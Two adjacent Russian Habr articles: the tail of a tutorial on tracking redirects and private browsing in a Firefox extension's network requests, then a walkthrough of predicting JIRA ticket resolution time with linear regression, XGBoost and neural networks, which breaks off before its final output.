Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://addons.mozilla.org/
Server: nginx
X-Backend-Server: web13.addons.phx1.mozilla.com
Content-Type: application/x-xpinstall
Accept-Ranges: bytes
Last-Modified: Tue, 26 Feb 2013 00:46:30 GMT
X-Cache-Info: caching
Content-Length: 46897
Cache-Control: max-age=79492
Expires: Sun, 07 Apr 2013 17:32:01 GMT
Date: Sat, 06 Apr 2013 19:27:09 GMT
```
Отслеживание перенаправлений
----------------------------
Для отслеживания перенаправлений есть [nsIChannel.notificationCallbacks](https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIChannel#Attributes). То есть нужно добавить
```
channel.notificationCallbacks = observer;
```
после создания channel и объекта observer, а в сам объект observer добавить реализацию [nsIInterfaceRequestor](http://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIInterfaceRequestor). При этом [nsIInterfaceRequestor.getInterface()](https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIInterfaceRequestor#getInterface%28%29) должен уметь возвращать реализацию [nsIChannelEventSink](http://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIChannelEventSink) для обработки перенаправлений.
Так что добавляем «приемник» информации о перенаправлениях рядом с двумя уже имеющимися:
```
var redirects = []; // Массив для данных о перенаправлениях
```
И обновляем функцию вывода результатов
```
done: function() {
alert(
data.join("\n")
+ "\n\nПеренаправления:\n" + redirects.join("\n")
+ "\n\nЗаголовки:\n" + headers.join("\n")
);
}
```
А в наш observer надо добавить
```
var observer = {
...
// nsIInterfaceRequestor
getInterface: function(iid) {
if(iid.equals(Components.interfaces.nsIChannelEventSink))
return this;
throw Components.results.NS_ERROR_NO_INTERFACE;
},
// nsIChannelEventSink
onChannelRedirect: function(oldChannel, newChannel, flags) { // Gecko < 2
this.onRedirect.apply(this, arguments);
},
asyncOnChannelRedirect: function(oldChannel, newChannel, flags, callback) {
// Надо обязательно разрешить перенаправление, иначе запрос будет прерван!
callback.onRedirectVerifyCallback(Components.results.NS_OK);
this.onRedirect.apply(this, arguments);
},
onRedirect: function(oldChannel, newChannel, flags) {
if(!redirects.length) // Это самое первое перенаправление
redirects.push(oldChannel.URI.spec);
// https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIChannelEventSink#Constants
var ces = Components.interfaces.nsIChannelEventSink;
var types = [];
if(flags & ces.REDIRECT_TEMPORARY)
types.push("временное");
if(flags & ces.REDIRECT_PERMANENT)
types.push("постоянное");
if(flags & ces.REDIRECT_INTERNAL)
types.push("внутреннее");
redirects.push("=> (" + types.join(", ") + ") " + newChannel.URI.spec);
},
...
```
В результате к выводу добавится
```
Перенаправления:
https://addons.mozilla.org/firefox/downloads/latest/413716/addon-413716-latest.xpi
=> (постоянное) https://addons.mozilla.org/firefox/downloads/latest/link-properties-plus/addon-link-properties-plus-latest.xpi
=> (временное) https://addons.mozilla.org/firefox/downloads/file/185918/link_properties_plus-1.5.1-fx+sm+tb.xpi
=> (временное) https://addons.cdn.mozilla.net/storage/public-staging/413716/link_properties_plus-1.5.1-fx+sm+tb.xpi
```
Приватный режим
---------------
Теперь еще можно добавить поддержку приватного режима. В статье [Supporting per-window private browsing](https://developer.mozilla.org/en-US/docs/Supporting_per-window_private_browsing) как раз есть подходящий [пример](https://developer.mozilla.org/en-US/docs/Supporting_per-window_private_browsing#Forcing_a_channel_into_private_mode):
```
var channel = Services.io.newChannel("http://example.org", null, null);
channel.QueryInterface(Components.interfaces.nsIPrivateBrowsingChannel);
channel.setPrivate(true); // force the channel to be loaded in private mode
```
А мы можем еще дополнительно убедиться, что приватный режим уже поддерживается:
```
if(
private // Флаг-настройка
&& "nsIPrivateBrowsingChannel" in Components.interfaces
&& channel instanceof Components.interfaces.nsIPrivateBrowsingChannel
&& "setPrivate" in channel
)
channel.setPrivate(true);
```
В реальном коде, конечно же, надо определять приватность источника ссылки. Но про это я уже [писал](http://habrahabr.ru/post/175469/) – с помощью [resource://gre/modules/PrivateBrowsingUtils.jsm](http://mxr.mozilla.org/mozilla-central/source/toolkit/content/PrivateBrowsingUtils.jsm) можно узнать приватность любого объекта [window](https://developer.mozilla.org/en-US/docs/DOM/window).
Итого
-----
Результат одним файлом:
<https://gist.github.com/Infocatcher/5327631>
Там же [в ревизиях](https://gist.github.com/Infocatcher/5327631/revisions) можно отследить наращивание функциональности: добавление обработки перенаправлений и поддержки приватного режима.
Вот и все. Остается только добавить обработку ошибок, преобразовать в удобный для использования вид, заменить alert() на что-нибудь более удобное и прицепить вызов функции для получения свойств ссылки к интерфейсу.
P.S. [Новая версия](https://addons.mozilla.org/addon/link-properties-plus/versions/1.5.2) расширения с отслеживанием перенаправлений и поддержкой приватного режима пока еще ожидает проверки. | https://habr.com/ru/post/175745/ | null | ru | null |
# Предсказываем время решения тикета с помощью машинного обучения
Оформляя тикет в системе управления проектами и отслеживания задач, каждый из нас рад видеть ориентировочные сроки решения по своему обращению.
Получая поток входящих тикетов, человеку/команде необходимо выстроить их в очередь по приоритету и по времени, которое займет решение каждого обращения.
Все это позволяет эффективнее планировать своё время обеим сторонам.
Под катом я расскажу о том, как проводил анализ и обучал ML модели, предсказывающие время решения оформляемых в нашу команду тикетов.
Сам я работаю на позиции SRE в команде, называющейся LAB. К нам стекаются обращения как от разработчиков, так и от QA касательно разворачивания новых тестовых окружений, их обновления до последних релизных версий, решения различных возникающих проблем и многое другое. Задачи эти довольно разнородные и, что логично, занимают разное количество времени на выполнение. Существует наша команда уже несколько лет и за это время успела накопиться неплохая база обращений. Именно эту базу я решил проанализировать и на её основе, с помощью машинного обучения, составить модель, которая будет заниматься предсказанием вероятного времени закрытия обращения (тикета).
В нашей работе мы используем JIRA, однако представляемая мною в данной статье модель не имеет никакой привязки к конкретному продукту — нужную информацию не составляет проблем получить из любой базы.
Итак, давайте перейдем от слов к делу.
Предварительный анализ данных
-----------------------------
Подгружаем всё необходимое и отобразим версии используемых пакетов.
**Исходный код**
```
import warnings
warnings.simplefilter('ignore')
%matplotlib inline
import matplotlib.pyplot as plt
import pandas as pd
import numpy as np
import datetime
from nltk.corpus import stopwords
from sklearn.model_selection import train_test_split
from sklearn.metrics import mean_absolute_error, mean_squared_error
from sklearn.neighbors import KNeighborsRegressor
from sklearn.linear_model import LinearRegression
from datetime import time, date
for package in [pd, np, matplotlib, sklearn, nltk]:
print(package.__name__, 'version:', package.__version__)
```
```
pandas version: 0.23.4
numpy version: 1.15.0
matplotlib version: 2.2.2
sklearn version: 0.19.2
nltk version: 3.3
```
Загрузим данные из csv файла. В нем содержится информация о тикетах, закрытых за последние 1.5 года. Прежде чем записать данные в файл они были немного предварительно обработаны. Например, из текстовых полей с описаниями были удалены запятые и точки. Однако это лишь предварительная обработка и в дальнейшем текст будет дополнительно очищен.
Посмотрим, что есть в нашем наборе данных. Всего в него попали 10783 тикета.
**Пояснение к полям**
| | |
| --- | --- |
| Created | Дата и время создания тикета |
| Resolved | Дата и время закрытия тикета |
| Resolution\_time | Количество минут, прошедших между созданием и закрытием тикета. Считается именно календарное время, т.к. у компании есть офисы в разных странах, работающие по разным часовым поясам и фиксированного времени работы всего отдела нет. |
| Engineer\_N | «Закодированные» имена инженеров (дабы ненароком не выдать какую-либо личную или конфиденциальную информацию в дальнейшем в статье будет еще не мало «закодированных» данных, которые по сути просто переименованы). В этих полях содержится количество тикетов в режиме «in progress» на момент поступления каждого из тикетов в представленном дата сете. На этих полях я остановлюсь отдельно ближе к концу статьи, т.к. они заслуживают дополнительного внимания. |
| Assignee | Сотрудник, который занимался решением задачи. |
| Issue\_type | Тип тикета. |
| Environment | Название тестового рабочего окружения, касательно которого сделан тикет (может значиться как конкретное окружение так и локация в целом, например, датацентр). |
| Priority | Приоритет тикета. |
| Worktype | Вид работы, который ожидается по данному тикету (добавление или удаление серверов, обновление окружения, работа с мониторингом и т.д.) |
| Description | Описание |
| Summary | Заголовок тикета. |
| Watchers | Количество человек, которые «наблюдают» за тикетом, т.е. им приходят уведомления на почту по каждой из активностей в тикете. |
| Votes | Количество человек, «проголосовавших» за тикет, тем самым показав его важность и свою заинтересованность в нем. |
| Reporter | Человек, оформивший тикет. |
| Engineer\_N\_vacation | Находился ли инженер в отпуске на момент оформления тикета. |
```
df.info()
```
```
Index: 10783 entries, ENV-36273 to ENV-49164
Data columns (total 37 columns):
Created 10783 non-null object
Resolved 10783 non-null object
Resolution\_time 10783 non-null int64
engineer\_1 10783 non-null int64
engineer\_2 10783 non-null int64
engineer\_3 10783 non-null int64
engineer\_4 10783 non-null int64
engineer\_5 10783 non-null int64
engineer\_6 10783 non-null int64
engineer\_7 10783 non-null int64
engineer\_8 10783 non-null int64
engineer\_9 10783 non-null int64
engineer\_10 10783 non-null int64
engineer\_11 10783 non-null int64
engineer\_12 10783 non-null int64
Assignee 10783 non-null object
Issue\_type 10783 non-null object
Environment 10771 non-null object
Priority 10783 non-null object
Worktype 7273 non-null object
Description 10263 non-null object
Summary 10783 non-null object
Watchers 10783 non-null int64
Votes 10783 non-null int64
Reporter 10783 non-null object
engineer\_1\_vacation 10783 non-null int64
engineer\_2\_vacation 10783 non-null int64
engineer\_3\_vacation 10783 non-null int64
engineer\_4\_vacation 10783 non-null int64
engineer\_5\_vacation 10783 non-null int64
engineer\_6\_vacation 10783 non-null int64
engineer\_7\_vacation 10783 non-null int64
engineer\_8\_vacation 10783 non-null int64
engineer\_9\_vacation 10783 non-null int64
engineer\_10\_vacation 10783 non-null int64
engineer\_11\_vacation 10783 non-null int64
engineer\_12\_vacation 10783 non-null int64
dtypes: float64(12), int64(15), object(10)
memory usage: 3.1+ MB
```
Итого у нас 10 "объектных" полей (т.е. содержащих в себе текстовое значение) и 27 числовых полей.
Первым делом сразу же поищем выбросы в наших данных. Как видно есть такие тикеты, у которых время решения исчисляется миллионами минут. Это явно не релевантная информация, такие данные будут лишь мешать строить модель. Попали они сюда, поскольку сбор данных из JIRA производился запросом по полю Resolved, а не Created. Соответственно попали сюда те тикеты, которые были закрыты за последние 1.5 года, однако открыты они могли быть намного намного раньше. Настало время избавиться от них. Отбросим те тикеты, что были созданы ранее 1 июня 2017 года. У нас останется 9493 тикета.
Что же касается причин — думаю в каждом проекте можно с легкостью найти такие запросы, которые болтаются уже довольно продолжительное время ввиду разных обстоятельств и чаще закрываются не по решению самой проблемы, а за "истечением срока давности".
**Исходный код**
```
df[['Created', 'Resolved', 'Resolution_time']].sort_values('Resolution_time', ascending=False).head()
```
**Исходный код**
```
df = df[df['Created'] >= '2017-06-01 00:00:00']
print(df.shape)
```
```
(9493, 33)
```
Итак, давайте начнем смотреть, что интересного мы сможем найти в наших данных. Для начала выведем самое простое — самые популярные окружения среди наших тикетов, самые активные "репортеры" и тому подобное.
**Исходный код**
```
df.describe(include=['object'])
```
**Исходный код**
```
df['Environment'].value_counts().head(10)
```
```
Environment_104 442
ALL 368
Location02 367
Environment_99 342
Location03 342
Environment_31 322
Environment_14 254
Environment_1 232
Environment_87 227
Location01 202
Name: Environment, dtype: int64
```
**Исходный код**
```
df['Reporter'].value_counts().head()
```
```
Reporter_16 388
Reporter_97 199
Reporter_04 147
Reporter_110 145
Reporter_133 138
Name: Reporter, dtype: int64
```
**Исходный код**
```
df['Worktype'].value_counts()
```
```
Support 2482
Infrastructure 1655
Update environment 1138
Monitoring 388
QA 300
Numbers 110
Create environment 95
Tools 62
Delete environment 24
Name: Worktype, dtype: int64
```
**Исходный код**
```
df['Priority'].value_counts().plot(kind='bar', figsize=(12,7), rot=0, fontsize=14, title='Распределение тикетов по приоритету');
```
Ну что ж, кое-что мы уже почерпнули. Чаще всего приоритет у тикетов нормальный, примерно в 2 раза реже высокий и еще реже критический. Совсем редко встречается низкий приоритет, видимо люди опасаются его выставлять, считая, что в таком случае он будет довольно долго висеть в очереди и время его решения может затянуться. Позже, когда мы уже построим модель и будем анализировать её результаты мы увидим, что такие опасения могут быть небезосновательными, поскольку низкий приоритет действительно влияет на сроки выполнения задачи и, конечно же, не в сторону ускорения.
Из колонок по самым популярным окружениям и самым активным репортерам мы видим, что с большим отрывом идет Reporter\_16, а по окружениям на первом месте Environment\_104. Даже если вы еще не догадались, то я открою небольшой секрет — этот репортер из команды, работающей именно над этим окружением.
Давайте посмотрим по какому окружению чаще всего приходят критичные тикеты.
**Исходный код**
```
df[df['Priority'] == 'Critical']['Environment'].value_counts().index[0]
```
```
'Environment_91'
```
А теперь выведем информацию по тому, сколько с этого же самого "критичного" окружения приходится тикетов с другими приоритетами.
**Исходный код**
```
df[df['Environment'] == df[df['Priority'] == 'Critical']['Environment'].value_counts().index[0]]['Priority'].value_counts()
```
```
High 62
Critical 57
Normal 46
Name: Priority, dtype: int64
```
Посмотрим на время выполнения тикета в разрезе по приоритетам. Например, забавно заметить, что среднее время выполнения тикета с низким приоритетом больше 70 тысяч минут (почти 1.5 месяца). Так же легко прослеживается зависимость времени выполнения тикета от его приоритета.
**Исходный код**
```
df.groupby(['Priority'])['Resolution_time'].describe()
```
Или вот в качестве графика медианное значение. Как видно, картина особо не поменялась, следовательно, выбросы не очень влияют на распределение.
**Исходный код**
```
df.groupby(['Priority'])['Resolution_time'].median().sort_values().plot(kind='bar', figsize=(12,7), rot=0, fontsize=14);
```
Теперь посмотрим на среднее время решения тикета по каждому из инженеров в зависимости от того, сколько тикетов в работе было на тот момент у этого инженера. На самом деле эти графики, к моему удивлению, не показывают какой-то единой картины. У некоторых время выполнения увеличивается по мере увеличения текущих тикетов в работе, а у некоторые эта зависимость обратная. У некоторых же зависимость и вовсе не прослеживается.
Однако, снова забегая вперед, скажу, что наличие этого признака в датасете повысило точность модели более чем в 2 раза и влияние на время выполнения однозначно есть. Просто мы его не видим. А модель видит.
**Исходный код**
```
engineers = [i.replace('_vacation', '') for i in df.columns if 'vacation' in i]
cols = 2
rows = int(len(engineers) / cols)
fig, axes = plt.subplots(nrows=rows, ncols=cols, figsize=(16,24))
for i in range(rows):
for j in range(cols):
df.groupby(engineers[i * cols + j])['Resolution_time'].mean().plot(kind='bar', rot=0, ax=axes[i, j]).set_xlabel('Engineer_' + str(i * cols + j + 1))
del cols, rows, fig, axes
```
**Длинная картинка в качестве результата**
Сделаем небольшую матрицу попарного взаимодействия следующих признаков: время решения тикета, количество голосов и количество наблюдателей. Бонусом по диагонали у нас распределение каждого признака.
Из интересного — видна зависимость снижения времени решения тикета от растущего количества наблюдателей. Так же видно, что голосами люди пользуются не очень активно.
**Исходный код**
```
pd.scatter_matrix(df[['Resolution_time', 'Watchers', 'Votes']], figsize=(15, 15), diagonal='hist');
```
**Картинка-результат**
Итак, мы провели небольшой предварительный анализ данных, увидели существующие зависимости между целевым признаком, коим является время решения тикета, и такими признаками как количество голосов за тикет, количество "наблюдателей" за ним и его приоритет. Двигаемся дальше.
Построение модели. Выстраиваем признаки
---------------------------------------
Настала пора переходить к построению самой модели. Но для начала нам нужно привести наши признаки в понятный для модели вид. Т.е. разложить категориальные признаки на разреженные вектора и избавиться от лишнего. Например, поля со временем создания и закрытия тикета нам не понадобятся в модели, равно как и поле Assignee, т.к. мы будем в итоге использовать эту модель для предсказания времени выполнения тикета, который еще ни на кого не назначен ("заассайнен").
Целевым признаком, как я только что упоминал, для нас является время решения проблемы, поэтому забираем его в качестве отдельного вектора и тоже удаляем из общего набора данных. Кроме того, некоторые поля у нас оказались пустыми ввиду того, что не всегда репортеры заполняют поле описания при оформлении тикета. В таком случае pandas выставляет их значения в NaN, мы же просто заменим их на пустую строку.
**Исходный код**
```
y = df['Resolution_time']
df.drop(['Created', 'Resolved', 'Resolution_time', 'Assignee'], axis=1, inplace=True)
df['Description'].fillna('', inplace=True)
df['Summary'].fillna('', inplace=True)
```
Раскладываем категориальные признаки на разреженные вектора ([One-hot encoding](https://www.kaggle.com/dansbecker/using-categorical-data-with-one-hot-encoding)). Пока не трогаем поля с описанием и оглавлением тикета. Их мы будем использовать несколько иначе. Некоторые имена репортеров содержат знак [X]. Так JIRA помечает неактивных сотрудников, которые больше не работают в компании. Я решил оставить их среди признаков, хотя можно и очистить от них данные, поскольку в будущем, при использовании модели, мы уже не встретим тикетов от этих сотрудников.
**Исходный код**
```
def create_df(dic, feature_list):
out = pd.DataFrame(dic)
out = pd.concat([out, pd.get_dummies(out[feature_list])], axis = 1)
out.drop(feature_list, axis = 1, inplace = True)
return out
X = create_df(df, df.columns[df.dtypes == 'object'].drop(['Description', 'Summary']))
X.columns = X.columns.str.replace(' \[X\]', '')
```
А вот теперь займемся полем описания в тикете. Работать с ним мы будем одним из, пожалуй, самых простых способов — соберем все использованные в наших тикетах слова, посчитаем среди них самые популярные, отбросим "лишние" слова — те, которые очевидно не могут влиять на результат, как, к примеру, слово "пожалуйста" (please — всё общение в JIRA у нас происходит строго на английском языке), являющееся самым популярным. Да, вот такие у нас вежливые люди.
Так же уберем "[стоп-слова](https://ru.wikipedia.org/wiki/%D0%A8%D1%83%D0%BC%D0%BE%D0%B2%D1%8B%D0%B5_%D1%81%D0%BB%D0%BE%D0%B2%D0%B0)", согласно библиотеке nltk, и более тщательно очистим текст от лишних символов. Напомню, что это самое простое, что можно сделать с текстом. Мы не проводим "[стемминг](https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%B5%D0%BC%D0%BC%D0%B8%D0%BD%D0%B3)" слов, так же можно посчитать самые популярные [N-граммы](https://ru.wikipedia.org/wiki/N-%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B0) слов, но мы ограничимся лишь этим.
**Исходный код**
```
all_words = np.concatenate(df['Description'].apply(lambda s: s.split()).values)
stop_words = stopwords.words('english')
stop_words.extend(['please', 'hi', '-', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '(', ')', '=', '{', '}'])
stop_words.extend(['h3', '+', '-', '@', '!', '#', '$', '%', '^', '&', '*', '(for', 'output)'])
stop_symbols = ['=>', '|', '[', ']', '#', '*', '\\', '/', '->', '>', '<', '&']
words_series = pd.Series(list(all_words))
del all_words
words_series = words_series[~words_series.isin(stop_words)]
for symbol in stop_symbols:
words_series = words_series[~words_series.str.contains(symbol, regex=False, na=False)]
```
После всего этого у нас на выходе получился объект pandas.Series, содержащий все использованные слова. Давайте посмотрим на самые популярные из них и возьмем первые 50 из списка, чтобы использовать в качестве признаков. Для каждого из тикетов мы будем смотреть употребляется ли это слово в описании, и если да, то в соответствующей ему колонке ставить 1, в противном случае 0.
**Исходный код**
```
usefull_words = list(words_series.value_counts().head(50).index)
print(usefull_words[0:10])
```
```
['error', 'account', 'info', 'call', '{code}', 'behavior', 'array', 'update', 'env', 'actual']
```
Теперь в нашем общем наборе данных создадим для выбранных нами слов отдельные колонки. На этом от самого поля описания можно избавиться.
**Исходный код**
```
for word in usefull_words:
X['Description_' + word] = X['Description'].str.contains(word).astype('int64')
X.drop('Description', axis=1, inplace=True)
```
Сделаем то же самое и для поля заголовка тикета.
**Исходный код**
```
all_words = np.concatenate(df['Summary'].apply(lambda s: s.split()).values)
words_series = pd.Series(list(all_words))
del all_words
words_series = words_series[~words_series.isin(stop_words)]
for symbol in stop_symbols:
words_series = words_series[~words_series.str.contains(symbol, regex=False, na=False)]
usefull_words = list(words_series.value_counts().head(50).index)
for word in usefull_words:
X['Summary_' + word] = X['Summary'].str.contains(word).astype('int64')
X.drop('Summary', axis=1, inplace=True)
```
Посмотрим, что в итоге у нас получилось в матрице признаков X и векторе ответов y.
**Исходный код**
```
print(X.shape, y.shape)
```
```
((9493, 1114), (9493,))
```
Теперь разделим эти данные на тренировочную (обучающую) выборку и тестовую выборку в процентном соотношении 75/25. Итого имеем 7119 примеров, на которых будем тренироваться, и 2374, по которым будем оценивать наши модели. А размерность нашей матрицы признаков увеличилась до 1114 за счет раскладывания категориальных признаков.
**Исходный код**
```
X_train, X_holdout, y_train, y_holdout = train_test_split(X, y, test_size=0.25, random_state=17)
print(X_train.shape, X_holdout.shape)
```
```
((7119, 1114), (2374, 1114))
```
Тренируем модель.
-----------------
### Линейная регрессия
Начнем с самой легкой и (ожидаемо) наименее точной модели — линейной регрессии. Оценивать будем как по точности на тренировочных данных, так и по отложенной (holdout) выборке — данным, которые модель не видела.
В случае с линейной регрессией модель более-менее приемлемо показывает себя на тренировочных данных, но вот точность на отложенной выборке чудовищно низкая. Даже намного хуже, чем предсказывать по обычному среднему значению по всем тикетам.
Здесь нужно сделать небольшую паузу и рассказать, как модель оценивает качество с помощью своего метода score.
Оценка производится по [коэффициенту детерминации](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D1%8D%D1%84%D1%84%D0%B8%D1%86%D0%B8%D0%B5%D0%BD%D1%82_%D0%B4%D0%B5%D1%82%D0%B5%D1%80%D0%BC%D0%B8%D0%BD%D0%B0%D1%86%D0%B8%D0%B8):
Где  — результат, предсказанный моделью а  — среднее значение по всей выборке.
Мы сейчас слишком подробно на коэффициенте останавливаться не будем. Отметим лишь, что он не во всей мере отражает ту точность модели, которая нас интересует. Поэтому одновременно мы будем использовать для оценки Среднюю Абсолютную Ошибку (Mean Absolute Error — MAE) и опираться будем именно на неё.
**Исходный код**
```
lr = LinearRegression()
lr.fit(X_train, y_train)
print('R^2 train:', lr.score(X_train, y_train))
print('R^2 test:', lr.score(X_holdout, y_holdout))
print('MAE train', mean_absolute_error(lr.predict(X_train), y_train))
print('MAE test', mean_absolute_error(lr.predict(X_holdout), y_holdout))
```
```
R^2 train: 0.3884389470220214
R^2 test: -6.652435243123196e+17
MAE train: 8503.67256637168
MAE test: 1710257520060.8154
```
### Градиентный бустинг
Ну куда же без него, без градиентного бустинга? Давайте попробуем натренировать модель и посмотрим, что у нас получится. Использовать для этого будем небезызвестный XGBoost. Начнем со стандартных настроек гиперпараметров.
**Исходный код**
```
import xgboost
xgb = xgboost.XGBRegressor()
xgb.fit(X_train, y_train)
print('R^2 train:', xgb.score(X_train, y_train))
print('R^2 test:', xgb.score(X_holdout, y_holdout))
print('MAE train', mean_absolute_error(xgb.predict(X_train), y_train))
print('MAE test', mean_absolute_error(xgb.predict(X_holdout), y_holdout))
```
```
R^2 train: 0.5138516547636054
R^2 test: 0.12965507684512545
MAE train: 7108.165167471887
MAE test: 8343.433260957032
```
Результат из коробки уже не плохой. Попробуем потюнинговать модель, подбирая гиперпараметры: n\_estimators, learning\_rate и max\_depth. В итоге остановимся на значениях в 150, 0.1 и 3 соответственно, как показывающих наилучший результат на тестовой выборке при отсутствии перетренированности модели на тренировочных данных.
**Подбираем n\_estimators**\**Вместо R^2 Score на картинке должна быть MAE.*
```
xgb_model_abs_testing = list()
xgb_model_abs_training = list()
rng = np.arange(1,151)
for i in rng:
xgb = xgboost.XGBRegressor(n_estimators=i)
xgb.fit(X_train, y_train)
xgb.score(X_holdout, y_holdout)
xgb_model_abs_testing.append(mean_absolute_error(xgb.predict(X_holdout), y_holdout))
xgb_model_abs_training.append(mean_absolute_error(xgb.predict(X_train), y_train))
plt.figure(figsize=(14, 8))
plt.plot(rng, xgb_model_abs_testing, label='MAE test');
plt.plot(rng, xgb_model_abs_training, label='MAE train');
plt.xlabel('Number of estimators')
plt.ylabel('$R^2 Score$')
plt.legend(loc='best')
plt.show();
```
**Подбираем learning\_rate**
```
xgb_model_abs_testing = list()
xgb_model_abs_training = list()
rng = np.arange(0.05, 0.65, 0.05)
for i in rng:
xgb = xgboost.XGBRegressor(n_estimators=150, random_state=17, learning_rate=i)
xgb.fit(X_train, y_train)
xgb.score(X_holdout, y_holdout)
xgb_model_abs_testing.append(mean_absolute_error(xgb.predict(X_holdout), y_holdout))
xgb_model_abs_training.append(mean_absolute_error(xgb.predict(X_train), y_train))
plt.figure(figsize=(14, 8))
plt.plot(rng, xgb_model_abs_testing, label='MAE test');
plt.plot(rng, xgb_model_abs_training, label='MAE train');
plt.xlabel('Learning rate')
plt.ylabel('MAE')
plt.legend(loc='best')
plt.show();
```
**Подбираем max\_depth**
```
xgb_model_abs_testing = list()
xgb_model_abs_training = list()
rng = np.arange(1, 11)
for i in rng:
xgb = xgboost.XGBRegressor(n_estimators=150, random_state=17, learning_rate=0.1, max_depth=i)
xgb.fit(X_train, y_train)
xgb.score(X_holdout, y_holdout)
xgb_model_abs_testing.append(mean_absolute_error(xgb.predict(X_holdout), y_holdout))
xgb_model_abs_training.append(mean_absolute_error(xgb.predict(X_train), y_train))
plt.figure(figsize=(14, 8))
plt.plot(rng, xgb_model_abs_testing, label='MAE test');
plt.plot(rng, xgb_model_abs_training, label='MAE train');
plt.xlabel('Maximum depth')
plt.ylabel('MAE')
plt.legend(loc='best')
plt.show();
```
Теперь обучим модель с подобранными гиперпараметрами.
**Исходный код**
```
xgb = xgboost.XGBRegressor(n_estimators=150, random_state=17, learning_rate=0.1, max_depth=3)
xgb.fit(X_train, y_train)
print('R^2 train:', xgb.score(X_train, y_train))
print('R^2 test:', xgb.score(X_holdout, y_holdout))
print('MAE train', mean_absolute_error(xgb.predict(X_train), y_train))
print('MAE test', mean_absolute_error(xgb.predict(X_holdout), y_holdout))
```
```
R^2 train: 0.6745967150462303
R^2 test: 0.15415143189670344
MAE train: 6328.384400466232
MAE test: 8217.07897417256
```
Итоговый результат с выбранными параметрами и визуализация feature importance — важность признаков по мнению модели. На первом месте количество наблюдателей за тикетом, а вот затем идут сразу 4 инженера. Соответственно на время решения тикета довольно сильно может повлиять занятость того или иного инженера. И вполне логично, что свободное время некоторых из них важнее. Хотя бы потому, что в команде есть как senior инженеры, так и middle (junior'ов у нас в команде нет). Кстати, снова по секрету, инженер, стоящий на первом месте (оранжевый столбик) действительно один из самых опытных среди всей команды. Более того — все 4 этих инженера имеют приставку senior в своей должности. Получается, что модель это лишний раз подтвердила.
**Исходный код**
```
features_df = pd.DataFrame(data=xgb.feature_importances_.reshape(1, -1), columns=X.columns).sort_values(axis=1, by=[0], ascending=False)
features_df.loc[0][0:10].plot(kind='bar', figsize=(16, 8), rot=75, fontsize=14);
```
### Нейронная сеть
Но на одном градиентном бустинге останавливаться не станем и попробуем натренировать нейросеть, а точнее Многослойный перцептрон (Multilayer perceptron), полносвязную нейронную сеть прямого распространения. На сей раз не будем начинать со стандартных настроек гиперпараметров, т.к. в библиотеке sklearn, которую мы будем использовать, по умолчанию только один скрытый слой со 100 нейронами и при тренировке модель выдает предупреждение о несхождении за стандартные 200 итераций. Мы же используем сразу 3 скрытых слоя с 300, 200 и 100 нейронами соответственно.
В результате мы видим, что модель неслабо перетренировывается на обучающей выборке, что, впрочем, не мешает ей показывать достойный результат на тестовой выборке. Этот результат совсем чуть-чуть уступает результату градиентного бустинга.
**Исходный код**
```
from sklearn.neural_network import MLPRegressor
nn = MLPRegressor(random_state=17, hidden_layer_sizes=(300, 200 ,100), alpha=0.03,
learning_rate='adaptive', learning_rate_init=0.0005, max_iter=200, momentum=0.9,
nesterovs_momentum=True)
nn.fit(X_train, y_train)
print('R^2 train:', nn.score(X_train, y_train))
print('R^2 test:', nn.score(X_holdout, y_holdout))
print('MAE train', mean_absolute_error(nn.predict(X_train), y_train))
print('MAE test', mean_absolute_error(nn.predict(X_holdout), y_holdout))
```
```
R^2 train: 0.9771443840549647
R^2 test: -0.15166596239118246
MAE train: 1627.3212161350423
MAE test: 8816.204561947616
```
Посмотрим, чего мы сможем добиться попытками подобрать наилучшую архитектуру нашей сети. Для начала натренируем несколько моделей с одним скрытым слоем и одну с двумя, просто чтобы лишний раз убедиться, что модели с одним слоем не успевают сойтись за 200 итераций и, как видно по графику, сходиться могут очень и очень долго. Добавление еще одного слоя уже неплохо помогает.
**Исходный код и график**
```
plt.figure(figsize=(14, 8))
for i in [(500,), (750,), (1000,), (500,500)]:
nn = MLPRegressor(random_state=17, hidden_layer_sizes=i, alpha=0.03,
learning_rate='adaptive', learning_rate_init=0.0005, max_iter=200, momentum=0.9,
nesterovs_momentum=True)
nn.fit(X_train, y_train)
plt.plot(nn.loss_curve_, label=str(i));
plt.xlabel('Iterations')
plt.ylabel('MSE')
plt.legend(loc='best')
plt.show()
```
А теперь потренируем побольше моделей с совершенно различной архитектурой. От 3 скрытых слоёв до 10 и посмотрим какая из них покажет себя лучше.
**Исходный код и график**
```
plt.figure(figsize=(14, 8))
for i in [(500,300,100), (80, 60, 60, 60, 40, 40, 40, 40, 20, 10), (80, 60, 60, 40, 40, 40, 20, 10),
(150, 100, 80, 60, 40, 40, 20, 10), (200, 100, 100, 100, 80, 80, 80, 40, 20), (80, 40, 20, 20, 10, 5),
(300, 250, 200, 100, 80, 80, 80, 40, 20)]:
nn = MLPRegressor(random_state=17, hidden_layer_sizes=i, alpha=0.03,
learning_rate='adaptive', learning_rate_init=0.001, max_iter=200, momentum=0.9,
nesterovs_momentum=True)
nn.fit(X_train, y_train)
plt.plot(nn.loss_curve_, label=str(i));
plt.xlabel('Iterations')
plt.ylabel('MSE')
plt.legend(loc='best')
plt.show()
```
Победила в этом "соревновании" модель с архитектурой (200, 100, 100, 100, 80, 80, 80, 40, 20) показавшая следующую среднюю ошибку:
2506 на обучающей выборке
7351 на тестовой выборке
Результат оказался лучше, чем у градиентного бустинга, хоть и наталкивает на мысль о переобучении модели. Попробуем немного увеличить регуляризацию и learning rate и посмотреть на результат.
**Исходный код**
```
nn = MLPRegressor(random_state=17, hidden_layer_sizes=(200, 100, 100, 100, 80, 80, 80, 40, 20), alpha=0.1,
learning_rate='adaptive', learning_rate_init=0.007, max_iter=200, momentum=0.9,
nesterovs_momentum=True)
nn.fit(X_train, y_train)
print('R^2 train:', nn.score(X_train, y_train))
print('R^2 test:', nn.score(X_holdout, y_holdout))
print('MAE train', mean_absolute_error(nn.predict(X_train), y_train))
print('MAE test', mean_absolute_error(nn.predict(X_holdout), y_holdout))
```
```
